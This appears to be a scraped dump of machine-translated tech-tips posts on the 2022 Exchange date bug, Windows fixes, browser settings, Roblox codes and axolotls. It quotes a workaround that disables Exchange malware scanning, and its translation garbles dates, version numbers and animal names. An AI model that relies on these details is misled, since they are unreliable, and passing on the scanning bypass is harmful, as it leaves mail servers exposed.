creator, began the process of closing the studio due to financial problems. Most of its games are starting to be removed from digital stores, including Minecraft: Story Mode. The bankruptcy of Telltale and the end of the license was the reason why this game was discontinued.\nncG1vNJzZmismaXArq3KnmWcp51kuaq%2F02amn2Wdnrumr9Gana1lppq%2FtLXOp6pmmZ6ZerW0xGaZnqukYryvsYytpmaonJbG\n","link":"/post/list-of-minecraft-versions-and-the-best-one-to-play/","section":"post","tags":null,"title":"List of Minecraft versions and the best one to play"},{"body":"Update on 03/01: Microsoft has released the patch\nSo just over a day after major technology news sites simultaneously reported that Exchange server systems around the world had problems within the first hours of the new year 2021, Microsoft has released a patch. fix problem.\nThis is basically a date value handling error, when the newly selected value of \"2.201.010.001\" exceeds what the Server can handle with the current Int32 data type. This resulted in the malware checking engine crashing, and as a result, emails and messages getting stuck in the transport queue on Exchange 2016 and 2019 server systems, with event log errors. 5300 and 1106 (FIPFS).\nThe solution offered by Microsoft is to use the automatic scan engine reset script, or manual input.\nMethod 1: Use the automatic scan engine reset script (available at here). This command can be run in parallel on multiple servers. A successful script completion will produce the following output:\n[PS] C:/Program Files/Microsoft/Exchange Server/V15/Scripts\u0026gt;./Reset-ScanEngineVersion.ps1EXCH1 Stopping services.EXCH1 Removing Microsoft engine folder.EXCH1 Emptying metadata folder.EXCH1 Starting services. .WARNING: Waiting for service 'Microsoft Filtering Management Service (FMS)' to start.WARNING: Waiting for service 'Microsoft Filtering Management Service (FMS)' to start.WARNING: Waiting for service 'Microsoft Filtering Management Service (FMS)' to start.WARNING: Waiting for service 'Microsoft Filtering Management Service (FMS) FMS)' to start.WARNING: Waiting for service 'Microsoft Filtering Management Service (FMS)' to start.WARNING: Waiting for service 'Microsoft Exchange Transport (MSExchangeTransport)' to start.EXCH1 Starting engine update. .Running as EXCH1-DOM/Administrator.--------Connecting to EXCH1.CONTOSO.com.Dispatched remote command.Start-EngineUpdate -UpdatePath http://amupdatedl.microsoft.com/server/amupdate--------[PS] C:/Program Files/Microsoft/Exchange Server/V15/Scripts\u0026gt;Get-EngineUpdateInformationEngine : MicrosoftLastChecked : 01/01/2022 08:58:22 PM -08:00LastUpdated : 01/01/2022 08:58:31 PM -08:00EngineVersion : 1.1.18800.4SignatureVersion : 1.355.1227.0SignatureDateTime : 01/01/2022 03:29 :06 AM -08:00UpdateVersion : 2112330001UpdateStatus : UpdateAttemptSuccessfulUpdateAttemptSuccessfulUpdateAttemptSuccessful Method 2: Manually fix errors\nRemove existing tools and metadata Stop the Microsoft Filtering Management service. When prompted to stop the Microsoft Exchange Transport service, click Yes. Use Task Manager to shut down and make sure that the Updervice.exe process is not running. Delete the following folder: %ProgramFiles%/Microsoft/Exchange Server/V15/FIP-FS/Data/Engines/amd64/Microsoft. Delete all files from the following directory: %ProgramFiles%/Microsoft/Exchange Server/V15/FIP-FS/Data/Engines/metadata. Update to the latest engine Start the Microsoft Filtering Management and Microsoft Exchange Transport services. Open the Exchange Management Shell, navigate to the Scripts folder (%ProgramFiles%/Microsoft/Exchange Server/V15/Scripts), and run Update-MalwareFilteringServer.ps1 . Verify engine update information In the Exchange Management Shell, run Add-PSSnapin Microsoft.Forefront.Filtering.Management.Powershell. Run Get-EngineUpdateInformation and verify the UpdateVersion information is 2112330001. You can find more details on the official Microsoft blog HERE.\nJanuary 1, 2021:\nFor most people, the new year is a time to gather with family and friends, or simply relax and think about future plans. However, for the sysadmins responsible for Exchange servers around the world, this new year can be a 'sad anniversary' as Microsoft's server service has just experienced a serious system problem, leading to a major system crash. to global disruption.\nThis issue was first reported by a Reddit user with the nickname /u/FST-LANE at 1 a.m. EST. It mentioned that Microsoft had released an invalid update for the Exchange system, with the identifier '220101001'. This was presumably a scheduled patch to allow the system to process the new day's data, but it didn't go as planned. 'I observed a bunch of errors from the FIPFS service saying: Cannot convert '220101001' to long', said the /u/FST-LANE member.\n  This is also consistent with more in-depth reports from Marius Sandbu, system manager from Norway who was one of the first experts to observe the problem, as well as giving a basic summary report on the problem. problem cause. Sandbu discovered that the Microsoft Exchange servers had suddenly stopped processing mail altogether starting at 00:00 on January 1, 2022. The reason for this fatal problem is most likely because Microsoft is using int32 for the date and with the new value of 2,201,010.001, exceeds the maximum value of int \"long\" of 2,147,483,647\".\nThe problem here is the stopping distance solution. In order for the Exchange server to continue processing mail, sysadmins are forcibly disabling malware scanning on their systems:\n'Currently, it seems that the main solution is to disable the anti-malware scanner on the Exchange Server using Set-MalwareFilteringServer -BypassFiltering $True -identity and restart the Microsoft Exchange Transport service'.\nHowever, this can leave users, and possibly the servers themselves, vulnerable to flash malicious attacks.\nThis bug affects Exchange Server 2013. 2016 and 2019. Microsoft has now confirmed the issue and is working on a fix.\nExchange server microsoft ncG1vNJzZmismaXArq3KnmWcp51kw7a4zZ6pmpqZoba1xYycmK6rlah6psTCoZinn5ViwKa%2B1Z6prGWkpHqkvsCsn2aZoqTCr7CMrZ%2BeZaekv62wjKagnKqfqLynwIyonZ%2Bdoqh6onnFoq9mpZWptbCw\n","link":"/post/microsoft-offers-a-fix-method/","section":"post","tags":null,"title":"Microsoft offers a fix method"},{"body":"MainGear has just introduced a new line of gaming PCs with the fastest processor in the world today - Intel Core i7-975 Extreme Edition 3.33GHz .\n  In addition to integrating the 'super' fast chip, the 'terrible' EphexX58 Elite PC version also uses the MAINGEAR X20 Elite 360mm ^ 2 liquid cooling system.\nIt uses the Asus Rampage II Extreme Intel X58 board, 6GB 3-channel RAM, and 3 NVIDIA GeForce GTX 285 3GB GDDR3 graphics cards connected to each other via SLI w / PhysX protocol and liquid-cooled. The EphexX58 Elite uses a 500GB hard drive, a 22X DVD SuperMulti burner, and a 1200W power supply. Depending on the choice, users can use a 160GB solid state drive (SSD) instead of a traditional 500GB hard drive. The EphexX58 Elite has a starting price of US $ 5,660, but if a more restrictive user 's wallet can choose the EphexX58SLI version for $ 2,075, or ePhexX58XFIRE - $ 1,935.\nncG1vNJzZmismaXArq3KnmWcp51kvaR5xpqknmWkmr%2BztcGlnGahnqmyqL7ArZydZZOdtrF5yKdkraCVYsSwvsud\n","link":"/post/pc-game-terrible-integrated-chip-in-the-world/","section":"post","tags":null,"title":"PC game 'terrible' integrated chip in the world"},{"body":"If you are a fan of One Piece, then Roblox is the perfect place for everyone, as it is filled with games inspired by this popular anime and manga series. Besides Blox Fruits, A One Piece Game is also a Roblox game with the theme of Pirate Island that many people love.\nParticipating in A One Piece Game, players will experience a vivid role-playing in the world of the famous cartoon One Piece. Everyone will fight the enemy in their own way to strengthen the character. All for the sake of possessing Devil Fruits, which provide special abilities to use for the complete annihilation of opponents.\n  Players can sail around the land in search of battles and treasures and strive to become the strongest character in this One Piece themed game.\nFortunately, A One Piece Game often gives players codes to redeem rewards and receive useful items, supporting players on the way to eliminate tyranny. This article will guide players on how to enter the code and a list of the latest A One Piece Game codes.\nList of latest A One Piece Game codes Like many other games, the redemption codes of A One Piece Game also have an expiration date, so players need to enter the code quickly to avoid the code being invalid. In addition, everyone needs to pay attention to enter the correct code, including uppercase, lowercase letters and special characters, to ensure that the gifts are sent to the in-game mailbox.\n Code Reward   155KLIKES (new) Get 100,000 Beli   UPDATE7.5 (new) Get 150,000 Beli   SORRY4SHUTDOWN\u0026nbsp; Get 100,000 Beli   UPDATE7\u0026nbsp; Get 150,000 Beli   MAINTENANCE\u0026nbsp; Reset Devil Fruit   Instructions to enter code A One Piece Game To enter the code in A One Piece Game, players only need to perform simple operations as follows:\nStep 1: Open A One Piece Game on Roblox.\nStep 2: Select Menu in the bottom left corner of the screen. Then click on the Twitter bird icon.\nStep 3: Enter the exact A One Piece Game code provided below in the Enter Code box in the window that has just opened.\nStep 4: Press Enter on the keyboard to confirm using the code and receive the reward immediately in the game.\n  ncG1vNJzZmismaXArq3KnmWcp51kwLa5zJqpsmWfm3q1tMRmo5qslajBbq2MqKWeZaCesqSxjKCYpp1dmLylsYyapZ1lmKTEbsDOZpynrJWn\n","link":"/post/summary-of-the-latest-a-one-piece-game-code-and-how-to-enter/","section":"post","tags":null,"title":"Summary of the latest A One Piece Game code and how to enter"},{"body":"Nowadays with the development of information technology, we easily encounter specialized terms such as ICT, ICT index . when surfing the web or tracking information about the field related to information technology. . Although this term appears a lot, many of us still don't understand what it means. To understand exactly what ICT means, in the article below, Network Administrator will help you to answer this question.\nWhat is Low-Code? And how does it work? What is Windows 8024402c update error? How to fix 8024402c error? Where is the best free VPS? What is ICT?   \nICT is an acronym for Information \u0026amp; Communication Technologies, which is understood as Information and Communication Technology. This is a term widely used in the current technological age, which is a combination of communication and telecommunications, intelligent building management systems and audio-visual systems in information technology. modern.\nIn addition, ICT is a term to refer to the means used to process information, share sounds and images such as telephones, media, audio processing, network transmission and functions. monitoring ability.\nMeaning of ICT   \nToday, to talk about the ICT index, people often use the accompanying terminology as the term ICT Index. ICT index is used to measure the level of development of Information and Communication Technology, not only that, it is also an indicator to measure the readiness to develop and apply ICT in the fields in countries. .\nICT indicators at different levels in Vietnam:\n1. ICT Index of Province - City: This is an indicator of the readiness for application and development of Information Technology of the Province - Thanh. (This group includes 2 indicators: infrastructure and application)\n2. ICT Index of Ministry - Industry: Level of readiness for application and development of Information Technology of Ministry - Industry. (ICT includes: infrastructure and applications)\n3. ICT Index of Enterprises: Index of production capacity and business in ICT sector of enterprises. (This index consists of 2 groups: Business results and competitiveness)\nSome other acronyms related to ICT Information And Communications Technology International Critical Tables Print Circuit Test Institute Of Computer Technology - Also Icot Influence Coefficient Tests Information And Communication Technology Insulin Coma Therapy Integrated Concept Team Intramolecular Charge Transfer Information And Communication Technologies Information Communication Technology Idiopathic Copper Toxicosis Ideal Cycle Time Image Composition Tool Isovolumic Contraction Time - Also Ivct With the current development of information technology, it can be seen that ICT has a great impact on many areas of every nation's life. Hopefully, through the above article, you partly understand what ICT means.\nncG1vNJzZmismaXArq3KnmWcp51kxKmt02agrGWZmMFuucSapaKml2K8p3nInKs%3D\n","link":"/post/what-is-ict-meaning-of-ict/","section":"post","tags":null,"title":"What is ICT? Meaning of ICT"},{"body":"Axolotl (Mexican iguana or six-horned dinosaur) is actually one of the most exotic and unique animals in the world. With tiny black eyes, a smiling mouth and a strange nose, Axolotl is different from most animals.\nWhile captive Axolotl is often found in aquariums and laboratories, wild Axolotl is harder to find. This is because the only place they live is Xochimilco Lake in Mexico.\nAxolotls are often eaten by locals of Xochimilco, who consider them a delicacy. They are deep fried along with cornstarch. However, Axolotl is threatened, the citizens of Xochimilco are forced to stop eating them. But some restaurants in Osaka, Japan still serve this dish to this day.\n This is an extremely special feature, Axolotl never matures. Instead they always keep the look young, lovely. During the larval stage, they continue to grow and then at a certain point they will stop. For comparison, this would be like a tadpole keeping the tadpole in shape without developing into frogs.\nIncredible reproducibility Many amphibians can regenerate, but the ability to regenerate the body like Axolotl is not comparable. They can regenerate almost any part of the body, including the spinal cord, jaw and limbs. When a part is regenerated, it will leave no scars or any signs.\nWhen attacked by predators, they are willing to sacrifice some parts to escape, new parts will grow very fast and Axolotl can regenerate hundreds of times. Each time, the new unit was still working perfectly.\n\"Treasure\" of the laboratory From a very early age, in 1863, the French moved to Paris 5 salamander to live for research.\nLater, scientist Auguste Duméril bred this species successfully, bringing it across Europe. This is a respectable thing compared to the technology at the time, making salamander one of the first \"residents\" to grow in the laboratory.\nAfter nearly 2 centuries, science has discovered many interesting things about salamander. For example, although they are amphibians, during the breeding season, the Mexican salamander does not land as its \"cousin\" but stays underwater. So science also calls them \"adult tadpoles\".\nBut, the most special is the ability to heal itself. When a Mexican salamander breaks off its limb, it will regrow, even repeatedly, but it will not affect life.\nThis regeneration is completely impossible in mammals, including humans. Because, if animals are injured, macrophages - a type of immune cell - will \"eat\" dead cells and leave scars.\nThe Mexican salamander is the opposite. When a limb breaks, a group of cells called blastema (multiple stem cells) will cover the wound, heal and regenerate. Thanks to the blastema cell group, the salamander can partially regenerate the damaged heart.\nLegendary story about the god Xolotl The ancient Aztecs believed that the six-horned dinosaur was the embodiment of the god Xolotl - a boatman carrying the dead to the afterlife. Xolotl had a dog's head and seemed afraid of being deported or killed, he escaped from everyone by turning into an Axolotl. This is also the reason the name Axolotl was born.\nncG1vNJzZmismaXArq3KnmWcp51kxKmt02aqqZ2TnrK0ec6fZKyZnJa6orrDnqlmm5GjerOx0q2mq51dl7y1tIyhnJqqpGKur7CMm6maoZ4%3D\n","link":"/post/what-species-of-salamander-can-restore-both-heart-and-brain/","section":"post","tags":null,"title":"What species of salamander can restore both heart and brain?"},{"body":"Renaming a file or folder is a common task that is probably familiar to any Windows user. However, few people know that there are 6 different ways to rename a file or folder on Windows 10, specifically as follows:\nRename files and folders with File Explorer File Explorer is an extremely useful tool on Windows 10. Particularly with this tool, we have up to 4 different ways to rename files and folders. In particular, there is a shortcut that allows you to rename files or folders without having to click. The renaming of files and directories is basically done in the same way.\nUse the Home Menu Access File Explorer by pressing Windows + E key combination and navigate to the file or folder to rename.\nClick once on the file or folder to be renamed, then click the Home menu at the top of File Explorer, select ' Rename '\n Choose 'Rename' Enter the name you want to change.\n Enter a new name When you're done typing, press Enter, or just click anywhere on the screen. New name will be saved.\nRename files / folders with only 2 clicks Access File Explorer by pressing Windows + E key combination and navigate to the file or folder to be renamed.\nSelect the file with just 1 click, pause for 1 second, and then click one more time.\n Enter a new name After the name is highlighted in green, enter a new name and press Enter to save the changes.\nUse the Context Menu To rename a file / folder from the Context Menu (context menu), right-click on the file / folder and select Rename .\n Select Rename Enter a new name and press Enter to save any changes.\nUse keyboard shortcuts This is how you can file / folder without using the mouse.\nSelect the file or folder to be renamed using the arrow keys or enter its name. Once selected, press F2 to highlight the name of the file.\n Press F2 to highlight the name of the file Enter a new name, then press the Enter key to save all changes.\nRename the file / folder with Command Prompt You can use the ren command in the Command Prompt to rename files or folders easily.\nOne of the fastest ways to open a Command Prompt in the desired folder is from File Explorer. First, open File Explorer and navigate to where the file / folder needs to be renamed. Click the address bar and type ' cmd ', then press the Enter key.\nTo rename the directory / file, you can use the following command:\nren \"tên tệp hiện tại.đuôi mở rộng\" \"tên tệp mới.đuôi mở rộng\"  For example, to rename the file 'Home Movies.ogv' to 'First Birthday.ogv' you use the following command:\nren \"Home Movie.ogv\" \"First Birthday.ogv\"  \u0026nbsp;  Enter the command in CMD Rename the file / folder with PowerShell Windows PowerShell is even more powerful and flexible than the Command Prompt, with some short cmdlets to replace characters in file / folder names.\nFirst, open File Explorer and navigate to where the file / folder needs to be renamed. Next, click File\u0026gt; Open Windows PowerShell, then click 'Open Windows PowerShell'.\nTo rename the directory / file, you can use the following command syntax:\nrename-item \"tên tệp hiện tại.đuôi mở rộng\" \"tên tệp mới.đuôi mở rộng\"  For example, to rename the file 'SampleVideo.mp4' to 'My Video.mp4, use the following cmdlet command:\nRename-Item \"SampleVideo.mp4\" \"My Video.mp4\"  \u0026nbsp;  Enter the command in PowerShell Above are 6 ways to rename files, rename folders on Windows 10. If you need to rename files in batch, please refer to this guide of TipsMake.com.\nncG1vNJzZmismaXArq3KnmWcp51kg27DwLKqZqyfYr%2BmusCmnGaemaGytHnAp5tmnp%2Bhsaa%2B0magp2Wnnrulu9asZGpo\n","link":"/post/6-ways-to-rename-files-and-folders-in-windows-10/","section":"post","tags":null,"title":"6 ways to rename files and folders in Windows 10"},{"body":"Current web browsers allow automatic deletion of data when closing the web browser, without the need to delete browser data manually.\nAll web browsers store data when users surf the web like access history, cookies, search history, account passwords, etc. Normally, to keep personal information safe when using the browser, in addition to opening an incognito tab on the browser, you can delete data automatically automatically when closing the browser without deleting manually. The following article will guide you how to automatically delete data on your browser automatically.\n1. Clear Chrome data when the browser is closed We click on the icon 3 vertical dots and then select Settings and then select Privacy and security . Look to the right and select Website settings .\n  Next, click on Cookies and website data . Then just activate Delete cookies and site data when you exit Chrome and you 're done.\n  2. Automatically delete Firefox data At the interface in Firefox, click on the 3 dashes icon and select Options .\nSwitch to the new interface, click on Privacy \u0026amp; security .\n  Next, look to the side to find the Cookie and site data management section , then check the Clear cookies and site data when Firefox is closed .\n  3. How to delete data automatically Coc Coc We also click the word Coc Coc in the top left corner and select Settings . Switch to the new interface, click Advanced , select Privacy and security .\n  Look to the right also click Website settings , select Cookies and site data . Then also turn on Delete cookies and website data when you exit Coc Coc .\n  4. Clear Opera data when leaving the browser In Opera browser interface, users click on Opera icon in the top left corner and select Settings in the displayed list. In the next interface click Advanced and then select Privacy \u0026amp; security .\n  Next, click Website settings\u0026gt; Cookies and site data . Finally enable the option Delete cookies and site data when you exit Opera .\n  5. Automatically erase data on Edge Chromium When deleting data automatically, Microsoft Edge Chromium can also select the type of data you want to delete. To see how to make details, read the article How to automatically delete web data on Edge Chromium.\nncG1vNJzZmismaXArq3KnmWcp51krrbAzqaYraGTlrmtxYydnKWdpJp6pa3TmmSwoJWjeqS4zqygp59dmLWzu8yeZJ%2BhopqzsMSMnKacZZOksG4%3D\n","link":"/post/automatically-delete-data-when-closing-chrome-firefox-coc-coc/","section":"post","tags":null,"title":"Automatically delete data when closing Chrome, Firefox, Coc Coc ..."},{"body":"In Task Manager, you can see that Service Host: Local System is taking up most of disk, CPU and memory usage. Today's article will show you how to fix Service Host Local System status using multiple CPUs in Windows 10 with 7 solutions.\nDoes the Service Host Local System consume a lot of CPU? Here is a fix Solution 1. Disable Superfetch Solution 2. Change the registry value data Solution 3. Run the System File Checker Solution 4. Disable Background Intelligent Transfer Service Solution 5. Disable the Service Host Local System task Solution 6. Execute Clean Boot Solution 7. Upgrade the CPU Solution 1. Disable Superfetch To get started, the article will introduce the first method to solve the problem of Service Host Local System with high disk usage.\nYou can try disabling Superfetch. For details on how to do this, please refer to the article: How to enable and disable SuperFetch on Windows 10/8/7.\nThen restart the computer to see if the problem has been resolved.\nSolution 2. Change the registry value data To solve the Service Host Local System problem that uses a lot of CPU, you can try fixing the registry.\nHowever, please note that changing the registry is risky. Therefore, you should back up Windows 10 to keep your computer safe before continuing.\nNow, the article will show you how to change registry value data to solve the Service Host Local System problem that uses a lot of memory.\nStep 1: \u0026nbsp;Open the Registry window.\nPress Win + R at the same time to open Run. Enter regedit and click OK to continue. Step 2: Change the value data.\nIn the Registry Editor window , navigate to the ControlSet001 folder with the following path:\u0026nbsp; HKEY_LOCAL_MACHINE \u0026gt; SYSTEM \u0026gt; ControlSet001 Then expand the ControlSet001 folder to find the Services folder and select the Ndu key . In the right panel, select the Start key and double-click it. Next, change the Value data to 4 and click OK to continue. Change Value data to 4 After completing all the steps, you can exit the Registry Editor window and restart the computer to check if the problem has been solved.\nSolution 3. Run the System File Checker The problem of Service Host Local System using a high level of disk drive may be due to corrupted system files. So, if you encounter Service Host Local System that uses a lot of CPU, you can try running System File Checker to check and repair corrupted system files.\nStep 1: Open a Command Prompt window with admin rights.\nStep 2: Enter the command.\nIn the window that appears, type sfc / scannow and press Enter to continue. Do not close the window until the scan is finished. System File Checker can help you find corrupted system files and repair them When the scan is complete, the System File Checker can help you find corrupted system files and repair them.\nSolution 4. Disable Background Intelligent Transfer Service The fourth method to fix the problem is to try turning off Background Intelligent Transfer Service.\nStep 1: Open the System Configuration window .\nPress Win + R to open Run Enter msconfig in the box and click OK to continue. Step 2: Disable Background Intelligent Transfer Service\nIn the System Configuration window , go to the Service tab . Scroll down and find Background Intelligent Transfer Service , then uncheck it. Click Apply and OK to confirm changes. Disable Background Intelligent Transfer Service After completing all the steps, restart the computer.\nSolution 5. Disable the Service Host Local System task The fifth solution to serve high local system CPU is to directly disable the Service Host Local System. You can finish this action to fix the problem.\nStep 1: Open Task Manager.\nStep 2: Disable the Service Host Local System task\n1. In the pop-up window, go to the Processes tab to continue.\n2. Scroll down to find Service Host Local System . You can also expand it to see which items are consuming CPU, disk and memory.\n3. After you know which item is eating up your CPU, disk and memory, you can right-click it and select End task from the context menu to turn it off.\nDisable the Service Host Local System action 4. Next, you will see a warning message asking you to confirm whether you want to end Service Host: Local System.\n5. You need to check the Abandon unsaved data and shut down option . Then press Shut down to continue.\nYou can then monitor your CPU in Task Manager and check if the Service Host Local System status using multiple CPUs has been resolved.\nSolution 6. Execute Clean Boot On top of that, the problem of Service Host Local System using a high level of drive can be caused by third-party software. Therefore, to fix the problem, you can perform a clean boot and check to see if the problem is caused by third-party software and services.\nFollow the instructions in the article: How to perform Clean Boot on Windows 10/8/7.\nAfter restarting the computer in Clean Boot, you can check if the problem is solved. If the problem is resolved, you can re-enable each service again and check which service is causing the problem.\nIf you find problematic items, you can choose to disable or reinstall it.\nSolution 7. Upgrade the CPU If none of the above solutions work, you can choose to upgrade the CPU. The problem of Service Host Local System using a high drive may be caused by the old CPU. So, if you encounter this problem, you can try upgrading the CPU.\nHowever, upgrading the CPU also has certain risks. The computer may not be able to boot up due to some compatibility issues after upgrading the CPU. If so, you may need to reinstall Windows. Therefore, remember to back up the data before updating the CPU to stay safe.\nAfter you've backed up your important files, it's time to upgrade your CPU. But please note that the CPU should be selected according to the motherboard model and performance parameters. You can then install the new CPU on the computer. Finally, all you need to do is upgrade the driver.\nncG1vNJzZmismaXArq3KnmWcp51ks6rEjKycq66ZmLJutM6sq2akn5iurXnSsqqtnZ1iwLWt066qZq2jnruoecyuo62hoKGybq%2FPrqpmoZ5ixKq6w6iurGVhZQ%3D%3D\n","link":"/post/fix-service-host-local-system-status-using-multiple-cpus-in-windows-10/","section":"post","tags":null,"title":"Fix Service Host Local System status using multiple CPUs in Windows 10"},{"body":"To count the number of Word pages, instead of having to completely open the Word file to check, we can see right in the Windows Explorer interface. Each Word file will display the page number at the bottom of the Word file footer.\nHowever, there will be cases where you need to quickly see the number of file pages, or Word files with many pages and open files relatively time-consuming, so you need to see the page number of each document file. To see the number of pages displayed in the Windows Explorer interface is very simple, we just need to change the settings of Windows. The following article will guide you how to view page numbers quickly in Word.\nInstructions for quick look at Word page numbers Step 1:\nAt the folder where the document is stored on the computer, we click on the View item and select Details to switch to the view of the Word file with more details about the information.\n  Step 2:\nNext, right-click anywhere in the content bar and select More in the displayed list.\n  Step 3:\nNow display the interface with detailed information about the file, the file displayed on the system. The default is displayed on Windows Explorer including Name, file creation date, file type and file size. Now you will find the Pages section to select and then click OK to display more Pages column in Windows Explorer interface with document documents.\n  As a result, we will see the number of pages of Word document files immediately without having to open the file to view.\n  ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpufqru1edaoqZ1loJa0pr%2BMsKCtoJ%2BqwW67z56loqaXYq5ussilnA%3D%3D\n","link":"/post/how-to-count-word-pages-without-opening-a-file/","section":"post","tags":null,"title":"How to count Word pages without opening a file"},{"body":" This wikiHow teaches you how to create a disc image file (ISO) from a CD or DVD on your Windows or Mac computer, as well as how to create your own disc image from files on your computer. ISOs can be mounted and run like a CD without having...\n Kareem Winters Update 04 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYyapWaho6R6p7XLng%3D%3D\n","link":"/post/how-to-create-an-iso-file/","section":"post","tags":null,"title":"How to Create an ISO File"},{"body":"  1. Clean up corrupted drives Access is Denied Usually the Access is Denied error occurs during use because a lot of data is overwritten and they are not freed up space often.\nStep 1: Right-click on the faulty drive and select Properties.\nIf you can't determine which drive on Windows 10 has an Access Denied error, do it one by one on your computer.\n  Step 2: When the Properties window appears, select the General tab and select the Disk Cleanup item to clean the drive.\n  Step 3: The system will scan the data on the computer for a while and give a notice. Please select all items and select Clean up system files to delete all junk data from the system.\n  2. Turn off encryption of system data Enabling data encryption makes the files inaccessible to the original data in a stable manner and thereby generates a variety of errors on the system. To turn off data encryption, proceed as follows:\nStep 1: You right-click on the Folder, drive, . need to turn off data encryption and select Properties.\n  Step 2: Then, you select the General tab and select Advanced. to open the settings.\n  Step 3: Finally, uncheck 'Encrypt contents to secure data' and click OK to finish.\n  3. Disk Error Checking Step 1: You proceed to right-click on the File, the drive . encounter the error Access is Denied and select Properties.\n  Step 2: Then, go to the Tool tab and select Check to conduct error checking.\n  Step 3: When checking for errors, select Scan drive so that the system scans the entire Drive and offers a solution for you.\n  4. Run the application under Admin Admin rights are the highest permissions in the Windows operating system and they can perform access-intensive tasks.\nInstead of starting with a normal mouse click, right-click and select Run as administrator.\n  5. Use a data scraper Cclean is also an effective solution to fix Access is Denied errors because they both scan the data and scan the Registry on your computer. The free version of Cclean is also functional enough to handle this problem.\n  6. Use Anti-Virus Tool Access Denied-related errors can also stem from Viruses when they destroy the data files of the Windows system, causing the operating system to experience a variety of problems. Anti-Virus tools today are very popular and equally effective, so you can easily choose. Some antivirus tools that should be used to fix Access Denied are: Kaspersky, Avira Anti Virus, Avast.\n  In this article, Tipsmake showed you how to fix Access is Denied error on Windows 10. Good luck!\nfix access is denied error ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXqir8Keqqxlmah6pbHNopydZZWnv7C%2BjKilZq%2BZo7Gww9JmaGk%3D\n","link":"/post/how-to-fix-access-is-denied-error-on-windows-10/","section":"post","tags":null,"title":"How to fix 'Access is Denied' error on Windows 10"},{"body":"Blue screen error or blue screen of death on Windows has been around for a long time. These errors contain important information regarding the sudden crash of the system. Some blue screen errors are harder to resolve than other errors and Uncorrectable Error errors are one of them. Therefore, this article will show you how to fix this error and how to prevent it from happening in the future.\nHow to fix WHEA Uncorrectable Error on Windows 10 What is WHEA Uncorrectable error? How to fix WHEA Uncorrectable Error Run CHKDSK Check the system hardware Reset the system overclock Reset BIOS / UEFI settings Update BIOS / UEFI settings Check the system driver Check your RAM with MemTest86 Reset Windows 10  What is WHEA Uncorrectable error? WHEA_UNCORRECTABLE_ERROR (Windows stopcode 0x0000124) is a hardware error. There are a number of common causes of the WHEA_UNCORRECTABLE_ERROR error (WUE for short), most of which are directly related to your system hardware:\nHardware is broken (hard drive, GPU, CPU, PSU, RAM is broken, etc.) Driver compatibility issue Heat and voltage problems (Overclocking and voltage changes) Windows system file or registry file is corrupted Voltage problems are a common cause of this particular Windows error. The WUE error message and stopcode 0x0000124 tell us the nature of this error but you should see the dump file for more information. You can find the dump file (.DMP) in C: / Windows / Minidump and have a timestamp.\nHow to fix WHEA Uncorrectable Error Run CHKDSK Before making any specific hardware changes, try running Windows Check Disk from the Command Prompt. CHKDSK is a Windows system tool that verifies the file system and with certain settings, fixes problems while running.\nType the command prompt in the Start menu search bar, then right-click on the appropriate result and select Run as administrator . Alternatively, you can press, Windows Key + X , then select Command Prompt (Admin) from the menu. Next, type chkdsk / r and press Enter . This command will scan your system for errors and fix any problems during execution.\n  Check and fix hard drive errors with CMD on Windows Check the system hardware WHEA_UNCORRECTABLE_ERROR error is closely related to system hardware. Before proceeding to reinstall the system and check the memory, check your system hardware thoroughly. Check if the cooling systems are working, your RAM is safe in its slots, and the CPU is loose, etc.\nReset the system overclock If you have overclocked the system to speed up, this may be the cause of the WHEA_UNCORRECTABLE_ERROR error. The easiest way to fix this problem is to reset the system BIOS and remove all overclocking effects.\nYou need to access BIOS or UEFI by turning off the system, then turn on and press BIOS / UEFI menu access key (each computer will have different access keys, but usually F1, F2, F10 keys, DEL and ESC).\nEach manufacturer installs different BIOS and UEFI, but the menu title is similar. After accessing the BIOS / UEFI menu, find the Overclocking option. For most devices, you will see this option in the Advanced menu , Performance, Frequency , or Voltage .\nFind this menu and reset the overclocking option. This reset brings your system to its original state and can fix WHEA_UNCORRECTABLE_ERROR error in this process.\nReset BIOS / UEFI settings If clearing the BIOS / UEFI overclocking settings, try resetting the entire BIOS. You can find the option to reset all BIOS settings or download the default BIOS settings in the BIOS menu. You can refer to the article 3 simple ways to reset BIOS settings.\nUpdate BIOS / UEFI settings This process will vary depending on the system's motherboard manufacturer. Some BIOS / UEFI settings can automatically download and update using the desktop utility, but some manufacturers require users to download BIOS updates and flash the firmware themselves.\nIf you don't know the information on the motherboard on your device, you can download and run CPU-Z. Open the Mainboard tab and find the manufacturer and motherboard model. You can see the version and other BIOS information in this tab. After obtaining this information, search the Internet for BIOS update instructions or refer to the BIOS Upgrade Instructions article.\nCheck the system driver Sometimes drivers have a bad effect on your system. However, today you are less likely to encounter this problem because Windows 10 handles most of the driver updates. However, that does not mean that it does not cause problems for your system. Fortunately, Windows 10 lists all the driver updates in the Windows Update section, so you can quickly find out the cause of the problem.\nPress Windows + I key to open Settings , then select Update \u0026amp; Security\u0026gt; View update history . You can find any driver updates here. Now, type device manager in the Start menu search bar and select the best match, view the list and check the error icon. If there is no problem, the driver is not the cause of this problem.\nYou can use the third tool to update all system drivers at the same time. Check out the list of tools for fixing major Windows problems.\nCheck your RAM with MemTest86 Windows has an integrated memory checker, called Windows Memory Diagnostic. However, it often misses problems, so we can use other tools like MemTest86.\nMemTest86 is a free and independent memory testing tool for x86 machines. You start MemTest86 from a USB flash drive (or a bootable drive) and check the system RAM. This test process will take several hours depending on the amount of RAM you install.\nFor a full MemTest86 experience, you should perform two complete tests, but according to most reports, MemTest86 can find serious RAM problems in a short time.\nTo create a bootable CD, download the image (ISO format), then write MemTest86 to the USB flash drive using the tool of your choice, then turn off the system. Reboot the system while pressing the button to access the Boot Selection menu (usually F10, F11, DEL or ESC), then select the MemTest86 USB flash drive that can boot, it will automatically check memory. If an error is found, search the Internet for a remedy.\n2 ways to check RAM and check RAM errors on the computer with the highest accuracy rate Reset Windows 10 If none of the above measures work, you can use the Windows 10 Reset function to refresh the system. Windows 10 Reset replaces your system files with completely new files and theoretically removes all problems related to WHEA_UNCORRECTABLE_ERROR errors while keeping most of your important files.\nTo do so, go to Settings\u0026gt; Update and Security\u0026gt; Recovery , then in Reset this PC , select Get started . After pressing this button, the system will reboot, so make sure to back up any important files before proceeding. After restarting, you can choose Keep my files or Remove everything .\n4 ways to reset the Windows computer to its original state I wish you all success!\nSee more:\nInstructions on how to fix blue screen error, cannot start when installing Microsoft patches How to fix blue screen error \"Critical Process Died\" in Windows 10 Instructions for 